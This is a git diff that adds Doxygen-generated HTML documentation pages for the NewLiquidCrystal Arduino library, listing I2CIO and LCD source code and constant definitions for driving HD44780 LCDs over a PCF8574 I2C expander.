+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp_source.html new file mode 100644 index 0000000..f1198cf --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp_source.html @@ -0,0 +1,309 @@ + + + + +LCD Library: I2CIO.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
I2CIO.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file I2CIO.h
+00013 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+00014 // chip.
+00015 // 
+00016 // @brief 
+00017 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+00018 // The library implements basic IO general methods to configure IO pin direction
+00019 // read and write uint8_t operations and basic pin level routines to set or read
+00020 // a particular IO port.
+00021 //
+00022 //
+00023 // @version API 1.0.0
+00024 //
+00025 // @author F. Malpartida - fmalpartida@gmail.com
+00026 // ---------------------------------------------------------------------------
+00027 #if (ARDUINO <  100)
+00028 #include <WProgram.h>
+00029 #else
+00030 #include <Arduino.h>
+00031 #endif
+00032 
+00033 #include <inttypes.h>
+00034 
+00035 #include <../Wire/Wire.h>
+00036 #include "I2CIO.h"
+00037 
+00038 // CLASS VARIABLES
+00039 // ---------------------------------------------------------------------------
+00040 
+00041 
+00042 // CONSTRUCTOR
+00043 // ---------------------------------------------------------------------------
+00044 I2CIO::I2CIO ( )
+00045 {
+00046    _i2cAddr     = 0x0;
+00047    _dirMask     = 0xFF;    // mark all as INPUTs
+00048    _shadow      = 0x0;     // no values set
+00049    _initialised = false;
+00050 }
+00051 
+00052 // PUBLIC METHODS
+00053 // ---------------------------------------------------------------------------
+00054 
+00055 //
+00056 // begin
+00057 int I2CIO::begin (  uint8_t i2cAddr )
+00058 {
+00059    _i2cAddr = i2cAddr;
+00060    
+00061    Wire.begin ( );
+00062       
+00063    _initialised = Wire.requestFrom ( _i2cAddr, (uint8_t)1 );
+00064 
+00065 #if (ARDUINO <  100)
+00066    _shadow = Wire.receive ();
+00067 #else
+00068    _shadow = Wire.read (); // Remove the byte read don't need it.
+00069 #endif
+00070    
+00071    return ( _initialised );
+00072 }
+00073 
+00074 //
+00075 // pinMode
+00076 void I2CIO::pinMode ( uint8_t pin, uint8_t dir )
+00077 {
+00078    if ( _initialised )
+00079    {
+00080       if ( OUTPUT == dir )
+00081       {
+00082          _dirMask &= ~( 1 << pin );
+00083       }
+00084       else 
+00085       {
+00086          _dirMask |= ( 1 << pin );
+00087       }
+00088    }
+00089 }
+00090 
+00091 //
+00092 // portMode
+00093 void I2CIO::portMode ( uint8_t dir )
+00094 {
+00095    
+00096    if ( _initialised )
+00097    {
+00098       if ( dir == INPUT )
+00099       {
+00100          _dirMask = 0xFF;
+00101       }
+00102       else
+00103       {
+00104          _dirMask = 0x00;
+00105       }
+00106    }
+00107 }
+00108 
+00109 //
+00110 // read
+00111 uint8_t I2CIO::read ( void )
+00112 {
+00113    uint8_t retVal = 0;
+00114    
+00115    if ( _initialised )
+00116    {
+00117       Wire.requestFrom ( _i2cAddr, (uint8_t)1 );
+00118 #if (ARDUINO <  100)
+00119       retVal = ( _dirMask & Wire.receive ( ) );
+00120 #else
+00121       retVal = ( _dirMask & Wire.read ( ) );
+00122 #endif      
+00123       
+00124    }
+00125    return ( retVal );
+00126 }
+00127 
+00128 //
+00129 // write
+00130 int I2CIO::write ( uint8_t value )
+00131 {
+00132    int status = 0;
+00133    
+00134    if ( _initialised )
+00135    {
+00136       // Only write HIGH the values of the ports that have been initialised as
+00137       // outputs updating the output shadow of the device
+00138       _shadow = ( value & ~(_dirMask) );
+00139    
+00140       Wire.beginTransmission ( _i2cAddr );
+00141 #if (ARDUINO <  100)
+00142       Wire.send ( _shadow );
+00143 #else
+00144       Wire.write ( _shadow );
+00145 #endif  
+00146       status = Wire.endTransmission ();
+00147    }
+00148    return ( (status == 0) );
+00149 }
+00150 
+00151 //
+00152 // digitalRead
+00153 uint8_t I2CIO::digitalRead ( uint8_t pin )
+00154 {
+00155    uint8_t pinVal = 0;
+00156    
+00157    // Check if initialised and that the pin is within range of the device
+00158    // -------------------------------------------------------------------
+00159    if ( ( _initialised ) && ( pin <= 7 ) )
+00160    {
+00161       // Remove the values which are not inputs and get the value of the pin
+00162       pinVal = this->read() & _dirMask;
+00163       pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value
+00164    }
+00165    return (pinVal);
+00166 }
+00167 
+00168 //
+00169 // digitalWrite
+00170 int I2CIO::digitalWrite ( uint8_t pin, uint8_t level )
+00171 {
+00172    uint8_t writeVal;
+00173    int status = 0;
+00174    
+00175    // Check if initialised and that the pin is within range of the device
+00176    // -------------------------------------------------------------------
+00177    if ( ( _initialised ) && ( pin <= 7 ) )
+00178    {
+00179       // Only write to HIGH the port if the port has been configured as
+00180       // an OUTPUT pin. Add the new state of the pin to the shadow
+00181       writeVal = ( 1 << pin ) & ~_dirMask;
+00182       if ( level == HIGH )
+00183       {
+00184          _shadow |= writeVal;
+00185                                                       
+00186       }
+00187       else 
+00188       {
+00189          _shadow &= ~writeVal;
+00190       }
+00191       status = this->write ( _shadow );
+00192    }
+00193    return ( status );
+00194 }
+00195 
+00196 //
+00197 // PRIVATE METHODS
+00198 // ---------------------------------------------------------------------------
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h.html new file mode 100644 index 0000000..b49a933 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h.html @@ -0,0 +1,141 @@ + + + + +LCD Library: I2CIO.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
I2CIO.h File Reference
+
+
+
#include <inttypes.h>
+
+

Go to the source code of this file.

+ + + + + +

+Classes

class  I2CIO

+Defines

#define _I2CIO_VERSION   "1.0.0"
+

Define Documentation

+ +
+
+ + + + +
#define _I2CIO_VERSION   "1.0.0"
+
+
+ +

Definition at line 32 of file I2CIO.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h_source.html new file mode 100644 index 0000000..3e2363c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8h_source.html @@ -0,0 +1,171 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/I2CIO.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/I2CIO.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file I2CIO.h
+
13 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+
14 // chip.
+
15 //
+
16 // @brief
+
17 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+
18 // The library implements basic IO general methods to configure IO pin direction
+
19 // read and write uint8_t operations and basic pin level routines to set or read
+
20 // a particular IO port.
+
21 //
+
22 // @version API 1.0.0
+
23 //
+
24 // @author F. Malpartida - fmalpartida@gmail.com
+
25 // ---------------------------------------------------------------------------
+
26 
+
27 #ifndef _I2CIO_H_
+
28 #define _I2CIO_H_
+
29 
+
30 #include <inttypes.h>
+
31 
+
32 #define _I2CIO_VERSION "1.0.0"
+
33 
+
41 class I2CIO
+
42 {
+
43 public:
+
49  I2CIO ( );
+
50 
+
62  int begin ( uint8_t i2cAddr );
+
63 
+
73  void pinMode ( uint8_t pin, uint8_t dir );
+
74 
+
83  void portMode ( uint8_t dir );
+
84 
+
94  uint8_t read ( void );
+
95 
+
108  uint8_t digitalRead ( uint8_t pin );
+
109 
+
123  int write ( uint8_t value );
+
124 
+
136  int digitalWrite ( uint8_t pin, uint8_t level );
+
137 
+
138 
+
139 
+
140 private:
+
141  uint8_t _shadow; // Shadow output
+
142  uint8_t _dirMask; // Direction mask
+
143  uint8_t _i2cAddr; // I2C address
+
144  bool _initialised; // Initialised object
+
145 
+
154  bool isAvailable (uint8_t i2cAddr);
+
155 
+
156 };
+
157 
+
158 #endif
+
Definition: I2CIO.h:41
+
void portMode(uint8_t dir)
Definition: I2CIO.cpp:98
+
int write(uint8_t value)
Definition: I2CIO.cpp:135
+
void pinMode(uint8_t pin, uint8_t dir)
Definition: I2CIO.cpp:81
+
int digitalWrite(uint8_t pin, uint8_t level)
Definition: I2CIO.cpp:175
+
uint8_t digitalRead(uint8_t pin)
Definition: I2CIO.cpp:158
+
I2CIO()
Definition: I2CIO.cpp:46
+
int begin(uint8_t i2cAddr)
Definition: I2CIO.cpp:60
+
uint8_t read(void)
Definition: I2CIO.cpp:116
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp.html new file mode 100644 index 0000000..812e2d9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp.html @@ -0,0 +1,120 @@ + + + + +LCD Library: LCD.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LCD.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp_source.html new file mode 100644 index 0000000..96240d9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8cpp_source.html @@ -0,0 +1,481 @@ + + + + +LCD Library: LCD.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LCD.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LCD.cpp
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the HD44780 library of the
+00018 // Arduino SDK. This library is a refactored version of the one supplied
+00019 // in the Arduino SDK in such a way that it simplifies its extension
+00020 // to support other mechanism to communicate to LCDs such as I2C, Serial, SR, ...
+00021 // The original library has been reworked in such a way that this will be
+00022 // the base class implementing all generic methods to command an LCD based
+00023 // on the Hitachi HD44780 and compatible chipsets.
+00024 //
+00025 // This base class is a pure abstract class and needs to be extended. As reference,
+00026 // it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension
+00027 // backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC.
+00028 //
+00029 //
+00030 // @version API 1.1.0
+00031 //
+00032 // 2012.03.29 bperrybap - changed comparision to use LCD_5x8DOTS rather than 0
+00033 // @author F. Malpartida - fmalpartida@gmail.com
+00034 // ---------------------------------------------------------------------------
+00035 #include <stdio.h>
+00036 #include <string.h>
+00037 #include <inttypes.h>
+00038 
+00039 #if (ARDUINO <  100)
+00040 #include <WProgram.h>
+00041 #else
+00042 #include <Arduino.h>
+00043 #endif
+00044 
+00045 #include "LCD.h"
+00046 
+00047 // CLASS CONSTRUCTORS
+00048 // ---------------------------------------------------------------------------
+00049 // Constructor
+00050 LCD::LCD () 
+00051 {
+00052    
+00053 }
+00054 
+00055 // PUBLIC METHODS
+00056 // ---------------------------------------------------------------------------
+00057 // When the display powers up, it is configured as follows:
+00058 // 0. LCD starts in 8 bit mode
+00059 // 1. Display clear
+00060 // 2. Function set: 
+00061 //    DL = 1; 8-bit interface data 
+00062 //    N = 0; 1-line display 
+00063 //    F = 0; 5x8 dot character font 
+00064 // 3. Display on/off control: 
+00065 //    D = 0; Display off 
+00066 //    C = 0; Cursor off 
+00067 //    B = 0; Blinking off 
+00068 // 4. Entry mode set: 
+00069 //    I/D = 1; Increment by 1 
+00070 //    S = 0; No shift 
+00071 //
+00072 // Note, however, that resetting the Arduino doesn't reset the LCD, so we
+00073 // can't assume that its in that state when a application starts (and the
+00074 // LiquidCrystal constructor is called).
+00075 // A call to begin() will reinitialize the LCD.
+00076 //
+00077 void LCD::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00078 {
+00079    if (lines > 1) 
+00080    {
+00081       _displayfunction |= LCD_2LINE;
+00082    }
+00083    _numlines = lines;
+00084    _cols = cols;
+00085    
+00086    // for some 1 line displays you can select a 10 pixel high font
+00087    // ------------------------------------------------------------
+00088    if ((dotsize != LCD_5x8DOTS) && (lines == 1)) 
+00089    {
+00090       _displayfunction |= LCD_5x10DOTS;
+00091    }
+00092    
+00093    // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION!
+00094    // according to datasheet, we need at least 40ms after power rises above 2.7V
+00095    // before sending commands. Arduino can turn on way before 4.5V so we'll wait 
+00096    // 50
+00097    // ---------------------------------------------------------------------------
+00098    delay (100); // 100ms delay
+00099    
+00100    //put the LCD into 4 bit or 8 bit mode
+00101    // -------------------------------------
+00102    if (! (_displayfunction & LCD_8BITMODE)) 
+00103    {
+00104       // this is according to the hitachi HD44780 datasheet
+00105       // figure 24, pg 46
+00106       
+00107       // we start in 8bit mode, try to set 4 bit mode
+00108       // Special case of "Function Set"
+00109       send(0x03, FOUR_BITS);
+00110       delayMicroseconds(4500); // wait min 4.1ms
+00111       
+00112       // second try
+00113       send ( 0x03, FOUR_BITS );
+00114       delayMicroseconds(150); // wait min 100us
+00115       
+00116       // third go!
+00117       send( 0x03, FOUR_BITS );
+00118       delayMicroseconds(150); // wait min of 100us
+00119       
+00120       // finally, set to 4-bit interface
+00121       send ( 0x02, FOUR_BITS );
+00122       delayMicroseconds(150); // wait min of 100us
+00123 
+00124    } 
+00125    else 
+00126    {
+00127       // this is according to the hitachi HD44780 datasheet
+00128       // page 45 figure 23
+00129       
+00130       // Send function set command sequence
+00131       command(LCD_FUNCTIONSET | _displayfunction);
+00132       delayMicroseconds(4500);  // wait more than 4.1ms
+00133       
+00134       // second try
+00135       command(LCD_FUNCTIONSET | _displayfunction);
+00136       delayMicroseconds(150);
+00137       
+00138       // third go
+00139       command(LCD_FUNCTIONSET | _displayfunction);
+00140       delayMicroseconds(150);
+00141 
+00142    }
+00143    
+00144    // finally, set # lines, font size, etc.
+00145    command(LCD_FUNCTIONSET | _displayfunction);
+00146    delayMicroseconds ( 60 );  // wait more
+00147    
+00148    // turn the display on with no cursor or blinking default
+00149    _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF;  
+00150    display();
+00151    
+00152    // clear the LCD
+00153    clear();
+00154    
+00155    // Initialize to default text direction (for romance languages)
+00156    _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT;
+00157    // set the entry mode
+00158    command(LCD_ENTRYMODESET | _displaymode);
+00159 
+00160    backlight();
+00161 
+00162 }
+00163 
+00164 // Common LCD Commands
+00165 // ---------------------------------------------------------------------------
+00166 void LCD::clear()
+00167 {
+00168    command(LCD_CLEARDISPLAY);             // clear display, set cursor position to zero
+00169    delayMicroseconds(HOME_CLEAR_EXEC);    // this command is time consuming
+00170 }
+00171 
+00172 void LCD::home()
+00173 {
+00174    command(LCD_RETURNHOME);             // set cursor position to zero
+00175    delayMicroseconds(HOME_CLEAR_EXEC);  // This command is time consuming
+00176 }
+00177 
+00178 void LCD::setCursor(uint8_t col, uint8_t row)
+00179 {
+00180    const byte row_offsetsDef[]   = { 0x00, 0x40, 0x14, 0x54 }; // For regular LCDs
+00181    const byte row_offsetsLarge[] = { 0x00, 0x40, 0x10, 0x50 }; // For 16x4 LCDs
+00182    
+00183    if ( row >= _numlines ) 
+00184    {
+00185       row = _numlines-1;    // rows start at 0
+00186    }
+00187    
+00188    // 16x4 LCDs have special memory map layout
+00189    // ----------------------------------------
+00190    if ( _cols == 16 && _numlines == 4 )
+00191    {
+00192       command(LCD_SETDDRAMADDR | (col + row_offsetsLarge[row]));
+00193    }
+00194    else 
+00195    {
+00196       command(LCD_SETDDRAMADDR | (col + row_offsetsDef[row]));
+00197    }
+00198    
+00199 }
+00200 
+00201 // Turn the display on/off
+00202 void LCD::noDisplay() 
+00203 {
+00204    _displaycontrol &= ~LCD_DISPLAYON;
+00205    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00206 }
+00207 
+00208 void LCD::display() 
+00209 {
+00210    _displaycontrol |= LCD_DISPLAYON;
+00211    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00212 }
+00213 
+00214 // Turns the underline cursor on/off
+00215 void LCD::noCursor() 
+00216 {
+00217    _displaycontrol &= ~LCD_CURSORON;
+00218    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00219 }
+00220 void LCD::cursor() 
+00221 {
+00222    _displaycontrol |= LCD_CURSORON;
+00223    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00224 }
+00225 
+00226 // Turns on/off the blinking cursor
+00227 void LCD::noBlink() 
+00228 {
+00229    _displaycontrol &= ~LCD_BLINKON;
+00230    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00231 }
+00232 
+00233 void LCD::blink() 
+00234 {
+00235    _displaycontrol |= LCD_BLINKON;
+00236    command(LCD_DISPLAYCONTROL | _displaycontrol);
+00237 }
+00238 
+00239 // These commands scroll the display without changing the RAM
+00240 void LCD::scrollDisplayLeft(void) 
+00241 {
+00242    command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT);
+00243 }
+00244 
+00245 void LCD::scrollDisplayRight(void) 
+00246 {
+00247    command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT);
+00248 }
+00249 
+00250 // This is for text that flows Left to Right
+00251 void LCD::leftToRight(void) 
+00252 {
+00253    _displaymode |= LCD_ENTRYLEFT;
+00254    command(LCD_ENTRYMODESET | _displaymode);
+00255 }
+00256 
+00257 // This is for text that flows Right to Left
+00258 void LCD::rightToLeft(void) 
+00259 {
+00260    _displaymode &= ~LCD_ENTRYLEFT;
+00261    command(LCD_ENTRYMODESET | _displaymode);
+00262 }
+00263 
+00264 // This method moves the cursor one space to the right
+00265 void LCD::moveCursorRight(void)
+00266 {
+00267    command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVERIGHT);
+00268 }
+00269 
+00270 // This method moves the cursor one space to the left
+00271 void LCD::moveCursorLeft(void)
+00272 {
+00273    command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVELEFT);
+00274 }
+00275 
+00276 
+00277 // This will 'right justify' text from the cursor
+00278 void LCD::autoscroll(void) 
+00279 {
+00280    _displaymode |= LCD_ENTRYSHIFTINCREMENT;
+00281    command(LCD_ENTRYMODESET | _displaymode);
+00282 }
+00283 
+00284 // This will 'left justify' text from the cursor
+00285 void LCD::noAutoscroll(void) 
+00286 {
+00287    _displaymode &= ~LCD_ENTRYSHIFTINCREMENT;
+00288    command(LCD_ENTRYMODESET | _displaymode);
+00289 }
+00290 
+00291 // Write to CGRAM of new characters
+00292 void LCD::createChar(uint8_t location, uint8_t charmap[]) 
+00293 {
+00294    location &= 0x7;            // we only have 8 locations 0-7
+00295    
+00296    command(LCD_SETCGRAMADDR | (location << 3));
+00297    delayMicroseconds(30);
+00298    
+00299    for (uint8_t i = 0; i < 8; i++)
+00300    {
+00301       write(charmap[i]);      // call the virtual write method
+00302       delayMicroseconds(40);
+00303    }
+00304 }
+00305 
+00306 #ifdef __AVR__
+00307 void LCD::createChar(uint8_t location, const char *charmap)
+00308 {
+00309    location &= 0x7;   // we only have 8 memory locations 0-7
+00310    
+00311    command(LCD_SETCGRAMADDR | (location << 3));
+00312    delayMicroseconds(30);
+00313    
+00314    for (uint8_t i = 0; i < 8; i++)
+00315    {
+00316       write(pgm_read_byte_near(charmap++));
+00317       delayMicroseconds(40);
+00318    }
+00319 }
+00320 #endif // __AVR__
+00321 
+00322 //
+00323 // Switch on the backlight
+00324 void LCD::backlight ( void )
+00325 {
+00326    setBacklight(255);
+00327 }
+00328 
+00329 //
+00330 // Switch off the backlight
+00331 void LCD::noBacklight ( void )
+00332 {
+00333    setBacklight(0);
+00334 }
+00335 
+00336 //
+00337 // Switch fully on the LCD (backlight and LCD)
+00338 void LCD::on ( void )
+00339 {
+00340    display();
+00341    backlight();
+00342 }
+00343 
+00344 //
+00345 // Switch fully off the LCD (backlight and LCD) 
+00346 void LCD::off ( void )
+00347 {
+00348    noBacklight();
+00349    noDisplay();
+00350 }
+00351 
+00352 // General LCD commands - generic methods used by the rest of the commands
+00353 // ---------------------------------------------------------------------------
+00354 void LCD::command(uint8_t value) 
+00355 {
+00356    send(value, COMMAND);
+00357 }
+00358 
+00359 #if (ARDUINO <  100)
+00360 void LCD::write(uint8_t value)
+00361 {
+00362    send(value, DATA);
+00363 }
+00364 #else
+00365 size_t LCD::write(uint8_t value) 
+00366 {
+00367    send(value, DATA);
+00368    return 1;             // assume OK
+00369 }
+00370 #endif
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h.html new file mode 100644 index 0000000..6f87675 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_l_c_d_8h.html @@ -0,0 +1,738 @@ + + + + +LCD Library: LCD.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
LCD.h File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include <Print.h>
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Classes

class  LCD

+Defines

#define BACKLIGHT_OFF   0
#define BACKLIGHT_ON   255
#define COMMAND   0
#define DATA   1
#define FOUR_BITS   2
#define HOME_CLEAR_EXEC   2000
#define LCD_1LINE   0x00
#define LCD_2LINE   0x08
#define LCD_4BITMODE   0x00
#define LCD_5x10DOTS   0x04
#define LCD_5x8DOTS   0x00
#define LCD_8BITMODE   0x10
#define LCD_BLINKOFF   0x00
#define LCD_BLINKON   0x01
#define LCD_CLEARDISPLAY   0x01
#define LCD_CURSORMOVE   0x00
#define LCD_CURSOROFF   0x00
#define LCD_CURSORON   0x02
#define LCD_CURSORSHIFT   0x10
#define LCD_DISPLAYCONTROL   0x08
#define LCD_DISPLAYMOVE   0x08
#define LCD_DISPLAYOFF   0x00
#define LCD_DISPLAYON   0x04
#define LCD_ENTRYLEFT   0x02
#define LCD_ENTRYMODESET   0x04
#define LCD_ENTRYRIGHT   0x00
#define LCD_ENTRYSHIFTDECREMENT   0x00
#define LCD_ENTRYSHIFTINCREMENT   0x01
#define LCD_FUNCTIONSET   0x20
#define LCD_MOVELEFT   0x00
#define LCD_MOVERIGHT   0x04
#define LCD_RETURNHOME   0x02
#define LCD_SETCGRAMADDR   0x40
#define LCD_SETDDRAMADDR   0x80

+Enumerations

enum  t_backlighPol { POSITIVE, +NEGATIVE + }

+Functions

static void waitUsec (uint16_t uSec)
+

Define Documentation

+ +
+
+ + + + +
#define BACKLIGHT_OFF   0
+
+
+

Backlight off constant declaration Used in combination with the setBacklight to swith off the LCD backlight. setBacklight

+ +

Definition at line 155 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define BACKLIGHT_ON   255
+
+
+

Backlight on constant declaration Used in combination with the setBacklight to swith on the LCD backlight. setBacklight

+ +

Definition at line 163 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define COMMAND   0
+
+
+ +

Definition at line 136 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define DATA   1
+
+
+ +

Definition at line 137 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define FOUR_BITS   2
+
+
+ +

Definition at line 138 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define HOME_CLEAR_EXEC   2000
+
+
+

Defines the duration of the home and clear commands This constant defines the time it takes for the home and clear commands in the LCD - Time in microseconds.

+ +

Definition at line 147 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_1LINE   0x00
+
+
+ +

Definition at line 129 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_2LINE   0x08
+
+
+ +

Definition at line 128 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_4BITMODE   0x00
+
+
+ +

Definition at line 127 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_5x10DOTS   0x04
+
+
+ +

Definition at line 130 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_5x8DOTS   0x00
+
+
+ +

Definition at line 131 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_8BITMODE   0x10
+
+
+ +

Definition at line 126 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_BLINKOFF   0x00
+
+
+ +

Definition at line 115 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_BLINKON   0x01
+
+
+ +

Definition at line 114 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CLEARDISPLAY   0x01
+
+
+

All these definitions shouldn't be used unless you are writing a driver. All these definitions are for driver implementation only and shouldn't be used by applications.

+ +

Definition at line 92 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORMOVE   0x00
+
+
+ +

Definition at line 120 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSOROFF   0x00
+
+
+ +

Definition at line 113 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORON   0x02
+
+
+ +

Definition at line 112 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_CURSORSHIFT   0x10
+
+
+ +

Definition at line 96 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYCONTROL   0x08
+
+
+ +

Definition at line 95 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYMOVE   0x08
+
+
+ +

Definition at line 119 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYOFF   0x00
+
+
+ +

Definition at line 111 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_DISPLAYON   0x04
+
+
+ +

Definition at line 110 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYLEFT   0x02
+
+
+ +

Definition at line 104 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYMODESET   0x04
+
+
+ +

Definition at line 94 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYRIGHT   0x00
+
+
+ +

Definition at line 103 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYSHIFTDECREMENT   0x00
+
+
+ +

Definition at line 106 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_ENTRYSHIFTINCREMENT   0x01
+
+
+ +

Definition at line 105 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_FUNCTIONSET   0x20
+
+
+ +

Definition at line 97 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_MOVELEFT   0x00
+
+
+ +

Definition at line 122 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_MOVERIGHT   0x04
+
+
+ +

Definition at line 121 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_RETURNHOME   0x02
+
+
+ +

Definition at line 93 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_SETCGRAMADDR   0x40
+
+
+ +

Definition at line 98 of file LCD.h.

+ +
+
+ +
+
+ + + + +
#define LCD_SETDDRAMADDR   0x80
+
+
+ +

Definition at line 99 of file LCD.h.

+ +
+
+

